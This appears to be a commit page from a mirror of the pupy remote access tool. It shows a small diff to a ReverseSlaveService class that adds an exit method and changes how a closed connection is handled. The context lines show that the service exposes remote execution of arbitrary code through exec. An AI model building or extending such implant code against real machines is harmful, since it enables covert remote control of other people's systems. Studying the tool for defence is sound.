mirror of https://github.com/n1nj4sec/pupy.git
fix sessions -k to actually exit
This commit is contained in:
parent
2599673bec
commit
1337074ccc
|
@ -106,8 +106,9 @@ class ReverseSlaveService(Service):
|
|||
self._conn.close()
|
||||
except:
|
||||
pass
|
||||
raise KeyboardInterrupt
|
||||
raise
|
||||
def exposed_exit(self):
|
||||
print "exiting ..."
|
||||
raise SystemExit
|
||||
def exposed_execute(self, text):
|
||||
"""execute arbitrary code (using ``exec``)"""
|
||||
|
|
Loading…
Reference in New Issue